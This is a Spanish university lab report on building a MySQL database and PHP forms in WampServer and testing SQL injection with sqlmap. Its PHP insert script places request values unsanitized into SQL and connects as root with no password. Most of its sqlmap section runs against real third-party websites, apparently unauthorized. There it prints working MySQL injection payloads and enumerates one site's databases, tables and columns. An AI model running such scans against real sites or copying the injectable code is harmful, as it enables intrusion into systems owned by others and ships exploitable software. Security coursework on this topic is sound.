Descarga la aplicación para disfrutar aún más
Vista previa del material en texto
1 Practica 2: Creación de Bases de Datos en Wampserver y Revisión de vulnerabilidades en bases de datos con SQLMAP Ing. Gilbert Jair Sánchez Ávila Código: 91524737 Grupo 233009A_220 Presentado a: Ing-Esp. Manuel Antonio Sierra Rodríguez Universidad Nacional Abierta y a Distancia – Unad Especialización En Seguridad Informática Seguridad En Bases de Datos (Postgrado) Cead Bucaramanga Mayo del 2015 2 INTRODUCCION En este informe realizaremos unas pruebas en bases de datos instalando wampserver en el equipo bases que es Windows 7 , realizando unas tablas y un ejemplo de formulario en php que inserta y muestra el registro de una de las tablas creadas. Luego probaremos esto con la herramienta SQLMAP instalada en la suite Backtrack 5r3 que tengo instalada en mi maquina virtual virtualbox de mi equipo. Mostraremos pantallazos y explicaciones de lo que sale al realizar esto , como prueba adicional para verificar la efectividad del programa SQLMAP probaremos esta herramienta sobre algunas páginas web predeterminadas y mostraremos imágenes y explicación de los resultados , también como complemento mostraremos los scripts que sirven para realizar los procesos desde creación de bases de datos y tablas , hasta lo que muestra en pantalla SQLMAP cuando le damos ciertas ordenes que están en la guía de práctica. 3 CONTENIDO PORTADA ............................................................................................................................... 1 INTRODUCCION ...................................................................................................................... 2 CONTENIDO ............................................................................................................................ 3 INSTALAR WAMPSERVER ..................................................................................................... 4 CREACION BASES DE DATOS EN WAMPSERVER .............................................................. 8 EJEMPLO DE CREACION DE FORMULARIO EN PHP ....................................................... 16 REVISAR PARAMETROS EN SQLMAP ................................................................................ 23 OTROS PARAMETROS EN SQLMAP ................................................................................... 30 CONCLUSIONES ................................................................................................................... 40 REFERENCIAS ...................................................................................................................... 41 4 INSTALAR WAMPSERVER Aquí vemos la interfaz cuando bajamos el instalador de las respectivas páginas Elegimos la ruta de instalación 5 Le decimos si queremos acceso directo Aquí vemos un resumen de la instalación: 6 Aquí le dejamos los parámetros por defecto: También hay que indicarle el navegador que queremos que use , por lo general sale una ventana indicando que se use internet Explorer , pero yo le cambie para que funcione con google chrome buscando el ejecutable de google chrome en la carpeta google en archivos de programa. Una vez instalado nos sale esto en pantalla: 7 Si miramos bien la imagen nos aparece las opciones que sale en wampserver una vez instalado, le damos iniciar los servicios para que el icono (w) que es el de wampserver salga en verde y funcione las opciones de wampserver, le damos clic en phpmyadmin para crear la bases de datos (vamos a coger de ejemplo la que hicimos en la primera práctica de linux centos)asi se ve la interfaz de phpmyadmin: 8 CREACION DE BASES DE DATOS EN WAMPSERVER Una vez abierto phpmyadmin en la sección de base de datos, si vemos esta imagen con detenimiento le damos un nombre y luego le damos clic en crear. 9 Creación de tablas En la pestaña de SQL podemos crear las tablas a código como vemos en esta foto: Aquí vemos como van quedando los códigos de creación de tablas: 10 Aquí vemos como es la estructura de una tabla en mysql (ejemplo tabla buses): Ejemplo de insercion de registros: 11 En la imagen siguiente vemos como quedo la tabla socios, los códigos y scripts usados los mostraremos en un anexo mas adelante. 12 EJEMPLO DE SCRIPTS USADOS EN LA CREACION DE TABLAS E INSERCION DE REGISTROS CREACION DE TABLAS CREACION TABLA EMPRESA create table empresas (cod_empresa varchar(3) not null primary key, nom_empresa varchar(15))ENGINE=INNODB; CREACION TABLAS BUSES create table buses(cod_empresa varchar(3), cod_socio varchar(3), cod_interno_bus varchar(3) not null primary key, marca_bus varchar(20), modelo_bus numeric(4), capacidad_bus varchar(3), constraint foranea_empresa_buses foreign key(cod_empresa)references empresas(cod_empresa)on delete cascade, constraint foranea_socio_buses foreign key(cod_socio) references socios(cod_socio)on delete cascade)engine=innodb; CREACION TABLAS RUTAS create table rutas(cod_empresa varchar(3), cod_ruta varchar(3) not null primary key, nom_ruta varchar(15), tiempo_promedio_ruta varchar(15), constraint foranea_empresas_rutas foreign key(cod_empresa)references empresas(cod_empresa)on delete cascade)engine=innodb; 13 CREACION TABLAS TRAYECTOS create table trayectos (cod_ruta varchar(3), por varchar(15), hasta varchar(15), constraint foranea_ruta_trayecto foreign key(cod_ruta)references rutas(cod_ruta)on delete cascade)engine=innodb; INSERTS EN TIPO_SOCIO: insert into tipo_socio values (1,'propietario'); insert into tipo_socio values (2,'conductor'); insert into tipo_socio values (3,'propietario_conductor'); EN SOCIO: insert into socios values (1,'s1','juan perez'); insert into socios values (1,'s2','diego sanchez'); insert into socios values (1,'s3','german silva'); insert into socios values (1,'s4','gilberto sanchez'); insert into socios values (1,'s5','lina marcela'); insert into socios values (2,'s6','juana de arco'); insert into socios values (2,'s7','jorge perez'); insert into socios values (1,'s8','maria teresa'); insert into socios values (1,'s9','gina maria'); insert into socios values (1,'s10','sandra milena); 14 EN EMPRESA: insert into empresa values ('e1','contrander'); insert into empresa values ('e2','cootrans'); insert into empresa values ('e3','transfor'); insert into empresa values ('e4','transgiron'); insert into empresas values ('e5','transamerica'); insert into empresas values ('e6','cootrasportadores'); insert into empresas values ('e7','via libre'); insert into empresas values ('e8','buses urbanos'); insert into empresas values ('e9','buses turisticos'); insert into empresas values ('e10','busetas bucaramanga'); insert into empresas values ('e11','busetas giron'); insert into empresas values ('e12','bus norte'); insert into empresas values ('e13','transrionegro'); insert into empresas values ('e14','transpiedecuesta'); insert into empresas values ('e15','transcaribe'); EN BUSES: insert into buses values ('e1','s1','b1','ford',1980,'30 personas'); insert into buses values ('e1','s1','b2','ford',1981,'45 personas'); insert into buses values ('e1','s1','b3','ford',1983,'48 personas'); insert into buses values ('e1','s1','b4','dodge',1970,'49 personas'); insert into buses values ('e2','s2','b5','dodge',1960,'58 personas'); 15 insert into buses values ('e2','s2','b6','chrysler',1963,'72 personas'); insert intobuses values ('e2','s2','b7','chevrolet',1983,'96 personas'); insert into buses values ('e1','s3','b8','ford',1985,'96 personas'); insert into buses values ('e3','s3','b9','ford',1981,'65 personas'); insert into buses values ('e3','s3','b10','ford',1990,'100 personas'); insert into buses values ('e1','s3','b11','chevrolet',1980,'100 personas'); insert into buses values ('e10','s3','b12','ford',1970,'60 personas'); insert into buses values ('e10','s1','b13','ford',1984,'60 personas'); insert into buses values ('e11','s1','b14','chrysler',1985,'40 personas'); EN RUTAS: insert into rutas values('e1','r1','ruta1','30 minutos'); insert into rutas values('e1','r2','ruta2','30 minutos'); insert into rutas values('e1','r3','ruta3','30 minutos'); insert into rutas values('e2','r4','ruta4','30 minutos'); insert into rutas values('e2','r5','ruta5','30 minutos'); insert into rutas values('e3','r6','ruta6','30 minutos'); insert into rutas values('e4','r7','ruta7','30 minutos'); insert into rutas values('e5','r8','ruta8','30 minutos'); insert into rutas values('e6','r9','ruta9','30 minutos'); insert into rutas values('e7','r10','ruta10','45 minutos'); insert into rutas values('e8','r11','ruta11','45 minutos'); insert into rutas values('e8','r12','ruta12','45 minutos'); insert into rutas values('e9','r13','ruta13','45 minutos'); 16 EJEMPLO CREACION FORMULARIO PHP Una vez hecha la base de datos en wampserver creamos los formularios en PHP usando un programa llamado notepad++ , una vez creados los scripts con código PHP se guarda en la carpeta de wampserver llamada www. De las tablas hechas vamos a crear en php una pagina con un formulario que inserte la nueva empresa , un código php que lo inserte y otro código php que muestre las empresas en una lista. Mas adelante mostraremos el código creado para insertar en un formulario la nueva empresa Una vez hecho esto y guardando esa pagina como insertaempresa1.php en la carpeta www de wampserver en la barra de arriba nos tiene que aparecer así: Si vemos esta imagen el recuadro rojo así tenemos que colocar en el wampserver , cuando abramos la sección localhost , aparece por defecto una interfaz de wampserver pero si le escribimos localhost/insertaempresa1.php en la barra de navegación nos aparecerá el formulario (siempre y cuando guardemos el código php en la carpeta www de wampserver en archivos de programa). Ahora si vemos esta imagen: 17 Asi podemos ver como aparecen las empresas que creamos en el formulario anterior. nótese que en la barra de navegación colocamos localhost/mostrarempresas.php. para que esta tabla aparezca en el navegador. 18 Script de la tabla de mostrar empresas: <!doctype html> <html> <head> <title>Listado</title> <style> .tablalistado { border-collapse: collapse; box-shadow: 0px 0px 8px #000; margin:20px; } .tablalistado th{ border: 1px solid #000; padding: 5px; background-color:#ffd040; } .tablalistado td{ border: 1px solid #000; padding: 5px; background-color:#ffdd73; } </style> </head> <body> <?php $con=mysqli_connect("localhost","root","","gjsanchez") or die("Problemas con la conexión a la base de datos");//cadena de conexión y base de datos a usar 19 $registros=mysqli_query($con,"select cod_empresa,nom_empresa from empresas") or die(mysqli_error($con)); //hacemos un select de la tabla empresa echo '<table class="tablalistado">';//llamamos a una clase de css para que la tabla se vea mejor echo '<tr><th>Codigo empresa</th><th>Nombre</th></tr>'; while ($reg=mysqli_fetch_array($registros)) //si hay registros los ordenamos y mostramos { echo '<tr>'; echo '<td>'; echo $reg['cod_empresa']; echo '</td>'; echo '<td>'; echo $reg['nom_empresa']; echo '</td>'; echo '</tr>'; } echo '<table>'; mysqli_close($con); ?> </body> </html> Script del formulario para insertar empresas: se llama insertaempresa1.php <!doctype html> <html> <head> <title>Insertar empresas</title> </head> <body> <form method="post" action="insertaempresa2.php"> //envia a un formulario nuevo que nos realizara el insert 20 Ingrese el codigo de la empresa: <input type="text" name="codempresa" size="50" required> <br> Ingrese el nombre de la empresa <input type="text" name="nomempresa" size="50" required> <br> <input type="submit" value="confirmar"> </form> </body> </html> Script del formulario que realiza el a la hora de insertar empresas: se llama insertaempresa2.php <!doctype html> <html> <head> <title>Alta</title> </head> <body> <?php $con=mysqli_connect("localhost","root","","gjsanchez")or die("error en la conexion de bases de datos");//conexión y selección de la base de datos a usar mysqli_query($con,"insert into empresas(cod_empresa,nom_empresa) values ('$_REQUEST[codempresa]','$_REQUEST[nomempresa]')") or die(mysqli_error($con)); mysqli_close($con); //cerramos la conexion echo 'la nueva empresa ya se almaceno'; ?> </body> </html> 21 Notas: $con=mysqli_connect("localhost","root","","gjsanchez")or die("error en la conexion de bases de datos") Por motivos académicos y practicos dejamos esta conexión con estos parámetros pero a nivel de empresas y de seguridad informaticas se cambian los parámetros de conexión, se cambia el localhost por el nombre del servidor, en root se coloca el nombre de usuario del servidor, en “” se coloca un password de conexión y gjsanchez es la base de datos de nuestro ejemplo. mysqli_query($con,"insert into empresas(cod_empresa,nom_empresa) values ('$_REQUEST[codempresa]','$_REQUEST[nomempresa]')") or die(mysqli_error($con)); esta linea de código es la que inserta en la tabla empresas de los campos cod_empresa y nom_empresa los valores tomados por el REQUEST que son los que almacenan los datos del textbox que hay en insertarempresa1.php , en caso de que no salga la orden mysql_error($con) nos indicara el numero de error. Ejemplos de imágenes con los códigos de insertar empresas Imagen insertaempresa1.php: 22 Imagen insertaempresa2.php: 23 REVISAR PARAMETROS EN SQLMAP Vamos a revisar parámetros de la herramienta SQLMAP que viene incluida en la suite de Backtrack 5r3 (yo la tengo esta distribución instalada en mi equipo en virtualbox): Si vemos esta imagen hay vemos que aparece sqlmap en la sección web exploitation tools que es una sección donde hay herramientas para descubrir vulnerabilidades de aplicaciones web y base de datos. Como yo la instalación de wampserver lo instale en en el equipo base donde tengo instalado Windows 7 pues yo coloque como dirección de prueba la dirección IP de mi equipo , como la supe: aplicando la técnica whois IP , esto se puede hacer escribiendo en el navegador de google esta frase y automáticamente nos aparece paginas web que nos ofrecen este función , me metí a la siguiente pagina una vez escrito la opción de google: https://www.whatismyip.com/ip-address-host-name-lookup/ y me aparece esta dirección IP que es la que usa mi equipo : 181.131.211.216 , esta dirección La voy a usar para probar la siguiente orden: ./sqlmap.py -u http://wwww.direccionweb.com o dirección IP –dbs https://www.whatismyip.com/ip-address-host-name-lookup/ 24 Si vemos esta imagen nos dice que la conexión esta fuera del tiempo osea no conecta con esta dirección IP. Vamos a ver un ejemplo de cómo esta orden muestra vulnerabilidades en la siguiente pagina web o blog de mi autoría: https://seguridadenredesgjsa.wordpress.com/:Sqlmap.py –u https://seguridadenredesgjsa.wordpress.com --dbs Donde –u es indicándole la url a escanear y --dbs es para indicarle que devuelva el numero y la base de datos. https://seguridadenredesgjsa.wordpress.com/ 25 Aquí vemos en la imagen que la url evaluada no es estable , que sql map compara secuencias no dinámicas y parámetros de inyección son detectados (lo que dice el mensaje en ingles). Podemos continuar o aplicar string o regex para visualizar mas parámetros de esa pagina. Los --string y --regex opciones tienen que ver con la identificación de respuestas válidas desde el servidor que contiene datos de los resultados, y la extracción de los datos. Si le damos la opción string esto me sale, ver imagen siguiente: Nos dice que los parámetros no son inyectables aunque hay que realizar mas tests (según el texto en ingles de la página siguiente). 26 Probando con la dirección IP del virtualbox: La buscamos en conexión de red , le damos clic en estado y luego en propiedades vemos la siguiente dirección IPv4: 192.168.56.1 Esto es lo que nos salió probándolo con el sqlmap de backtrack: 27 root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://192.168.56.1 -D sqlinjection -tables sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 21:20:53 [21:20:53] [INFO] using '/pentest/web/scanners/sqlmap/output/192.168.56.1/session' as session file [21:20:53] [INFO] testing connection to the target url [21:21:23] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request [21:21:54] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request [21:22:25] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request [21:22:56] [CRITICAL] connection timed out to the target url or proxy [*] shutting down at: 21:22:56 root@bt:/pentest/web/scanners/sqlmap# lo que significa que la conexión no es estable y no se deja ejecutar algún parámetro. Lo mismo nos paso cuando probamos la dirección ip del localhost de wampserver 127.0.0.1 nos salió esto mismo. Ejemplo de una página que le funciono la orden: ./sqlmap.py -u http://wwww.direccionweb.com o dirección IP-- dbs Tomamos como ejemplo una pagina que usamos como ejemplo para hacer el formulario de PHP y esta pagina: http://www.phpya.com.ar/index.php?inicio=40 , por lo general las paginas que tiene este tipo de extensiones php al final son las que tienen mas riesgos de vulnerabilidades en bases de datos. ./sqlmap.py -u http:// http://www.phpya.com.ar/index.php?inicio=40 –dbs Como podemos ver empieza a evaluar la pagina ver dos imágenes siguientes: http://www.phpya.com.ar/index.php?inicio=40 28 Continuación de la secuencia: 29 Otro ejemplo de página que le funciona la orden anterior: http://www.mascar.it/product.php?id=1 Pagina web de tractores (ver mas información en referencias) la probamos con la siguiente orden: ./sqlmap.py –u http:// http://www.mascar.it/product.php?id=1 –dbs Sale los mismos pantallazos que la pagina anterior pero con esta excepción ver siguiente imagen: Aquí esta imagen nos dice que el parámetro id es vulnerable sqlmap identifico las siguientes vulnerabilidades, que si queremos seguir probando le damos yes En esta imagen podemos ver que bases de datos y otras características como sistema operativo(Windows 2003), aplicaciones web (ASPNET, MICROSOFT IIS 6.0, PHP 5.3.1),manejador de bases de datos:MYSQL5.0 y 3 bases de datos; information_schema,mascar,mysql Ver la siguiente imagen con detalle 30 OTROS PARAMETROS SQLMAP Si usamos: ./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar --tables Nos sale lo siguiente: La opción –D es el parámetro de bases de datos luego colocamos el nombre de alguna base de datos colocamos mascar por ejemplo, luego colocamos el parámetro --tables y sabremos las tablas que contiene la base de datos mascar. Nos sale también la misma imagen si usamos esto con la variable sqlinjection: ./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection –tables (Esta es la que nos piden probar en el pdf de la práctica). Si probamos esta orden ver imagen: ./sqlmap.py –u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection -T news - -columns Donde –T es el nombre de la tabla en este caso yo eleji la table news y --colums es para ver las columnas de esa tabla. 31 Y esto es lo que sale en la tabla news: 32 Ahora colocaremos los scripts de las órdenes y lo que sale en el backtrack como anexo: ./sqlmap.py -u http://www.mascar.it/product.php?id=1 –dbs Resultado: root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 --dbs sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 23:44:37 [23:44:38] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file [23:44:38] [INFO] testing connection to the target url [23:44:39] [INFO] testing if the url is stable, wait a few seconds [23:44:41] [INFO] url is stable [23:44:41] [INFO] testing if GET parameter 'id' is dynamic [23:44:42] [INFO] confirming that GET parameter 'id' is dynamic [23:44:43] [INFO] GET parameter 'id' is dynamic [23:44:44] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL) [23:44:44] [INFO] testing sql injection on GET parameter 'id' [23:44:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [23:44:47] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [23:44:47] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' [23:44:48] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable [23:44:48] [INFO] testing 'MySQL > 5.0.11 stacked queries' [23:44:48] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' [23:45:48] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable [23:45:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [23:45:54] [INFO] target url appears to be UNION injectable with 5 columns [23:45:56] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y sqlmap identified the following injection points with a total of 21 HTTP(s) requests: --- 33 Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7925=7925 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1 AND SLEEP(5) [23:47:02] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 back-end DBMS: MySQL 5.0 [23:47:02] [INFO] fetching database names available databases [3]: [*] information_schema [*] mascar [*] mysql [23:47:03] [INFO] Fetched data logged totext files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' [*] shutting down at: 23:47:03 34 ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar --tables resultado root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar --tables sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 00:21:55 [00:21:55] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file [00:21:55] [INFO] resuming injection data from session file [00:21:55] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [00:21:55] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests:--- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7925=7925 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1 AND SLEEP(5) [00:21:57] [INFO] the back-end DBMS is MySQL 35 web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 back-end DBMS: MySQL 5.0 [00:21:57] [INFO] fetching tables for database 'mascar' Database: mascar [15 tables] +--------------------+ | ac_aree | | ac_aree_lingue | | ac_documenti | | ac_utenti | | ac_utenti_aree | | contatti | | lingue | | nazioni | | news | | p_categorie | | p_categorie_lingue | | p_prodotti | | p_prodotti_doc | | p_prodotti_img | | p_prodotti_lingue | +--------------------+ [00:21:59] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' [*] shutting down at: 00:21:59 root@bt:/pentest/web/scanners/sqlmap 36 ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection --tables resultado root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection --tables sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 00:32:21 [00:32:22] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file [00:32:22] [INFO] resuming injection data from session file [00:32:22] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [00:32:22] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7925=7925 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# 37 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1 AND SLEEP(5) [00:32:23] [INFO] the back-end DBMS is MySQL web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 back-end DBMS: MySQL 5.0 [00:32:23] [INFO] fetching tables for database 'mascar' [00:32:23] [INFO] read from file '/pentest/web/scanners/sqlmap/output/www.mascar.it/session': mascar, ac_aree, mascar, ac_aree_lingue, mascar, ac_documenti, mascar, ac_utenti, mascar, ac_utenti_aree, mascar, contatti, mascar, lingue, mascar, nazioni, mascar, news, mascar, p_categorie, mascar, p_categorie_lingue, mascar, p_prodotti, mascar, p_prodotti_doc, mascar, p_prodotti_img, mascar, p_prodotti_lingue Database: mascar [15 tables] +--------------------+ | ac_aree | | ac_aree_lingue | | ac_documenti | | ac_utenti | | ac_utenti_aree | | contatti | | lingue | | nazioni | | news | | p_categorie | | p_categorie_lingue | | p_prodotti | | p_prodotti_doc | | p_prodotti_img | | p_prodotti_lingue | +--------------------+ [00:32:23] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it' 38 [*] shutting down at: 00:32:23 ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection -T news – columns resultado root@bt:/pentest/web/scanners/sqlmap# ./sqlmap.py -u http://www.mascar.it/product.php?id=1 -D mascar sqlinjection -T news --columns sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 00:47:15 [00:47:15] [INFO] using '/pentest/web/scanners/sqlmap/output/www.mascar.it/session' as session file [00:47:15] [INFO] resuming injection data from session file [00:47:15] [INFO] resuming back-end DBMS 'mysql 5.0' from session file [00:47:15] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: Place: GET Parameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 7925=7925 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=1 AND (SELECT 6541 FROM(SELECT COUNT(*),CONCAT(CHAR(58,120,102,108,58),(SELECT (CASE WHEN (6541=6541) THEN 1 ELSE 0 END)),CHAR(58,119,111,107,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: UNION query Title: MySQL UNION query (NULL) - 1 to 10 columns Payload: id=1 UNION ALL SELECT NULL, CONCAT(CHAR(58,120,102,108,58),IFNULL(CAST(CHAR(105,73,103,82,67,68,106,121,118,110) AS CHAR),CHAR(32)),CHAR(58,119,111,107,58)), NULL, NULL, NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=1 AND SLEEP(5) [00:47:16] [INFO] the back-end DBMS is MySQL 39 web server operating system: Windows 2003 web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.3.1 back-end DBMS: MySQL 5.0 [00:47:16] [INFO] fetching columns for table 'news' on database 'mascar' Database: mascar Table: news [18 columns] +------------------+--------------+ | Column | Type | +------------------+--------------+ | alt_immagine | varchar(150) | | creationdate | datetime | | home | tinyint(1) | | html_description | varchar(255) | | html_title | varchar(255) | | immagine | varchar(200) | | langid | char(2) | | lastupdate | datetime | | newsdate | date | | newsid | int(3) | | nome_link | varchar(150) | | nomefile| varchar(100) | | press | tinyint(1) | | sponsorid | int(2) | | testo | varchar(255) | | testo_big | text | | titolo | varchar(150) | | valore_link | varchar(200) | +------------------+--------------+ [00:47:17] [INFO] Fetched data logged to text files under '/pentest/web/scanners/sqlmap/output/www.mascar.it'[*] shutting down at: 00:47:17 40 CONCLUSIONES Las páginas web que a lo último tienen extensiones terminadas en php son de las que son más susceptible a tener este tipo de vulnerabilidades. Esta herramienta SQLMAP nos permitirá averiguar si los servidores de bases de datos de nuestras organizaciones empresariales son susceptibles a ataques de inyecciones de código en SQL y como podremos solucionarlas a futuro. Procurar practicar con páginas web diseñadas para este fin o de videos o enlaces que nos muestren como se hace y para fines educativos, no usar páginas web de organizaciones importantes ya que un ataque de inyección de código SQL con SQLMAP puede afectar las organizaciones, hay empresas que tienen mecanismos de seguridad avanzados que pueden detectar algún atacante y tener consecuencias jurídicas. 41 REFERENCIAS Descargar Wampserver.Disponible en: http://www.wampserver.es Descargar Notepad++.Disponible en: https://notepad-plus-plus.org/ Sqlmap unable to find SQL injection vulnerablitity.Disponible en: http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql- injection-vulnerablitity Jose Ramos. Automatizando ataques de inyección SQL. Disponible en: http://rootear.com/seguridad/utilizando-sqlma Tianx.Tutorial Backtrack SqlMap.Disponible en: http://www.taringa.net/posts/linux/16009648/Tutorial-backtrack-sqlmap.html Antonio maschio.mascar empresa de tractores(pagina de prueba).disponible en: http://www.mascar.it/product.php?id=1 http://www.wampserver.es/ https://notepad-plus-plus.org/ http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql-injection-vulnerablitity http://security.stackexchange.com/questions/43926/sqlmap-unable-to-find-sql-injection-vulnerablitity http://rootear.com/seguridad/utilizando-sqlma http://www.taringa.net/posts/linux/16009648/Tutorial-backtrack-sqlmap.html http://www.mascar.it/product.php?id=1
Compartir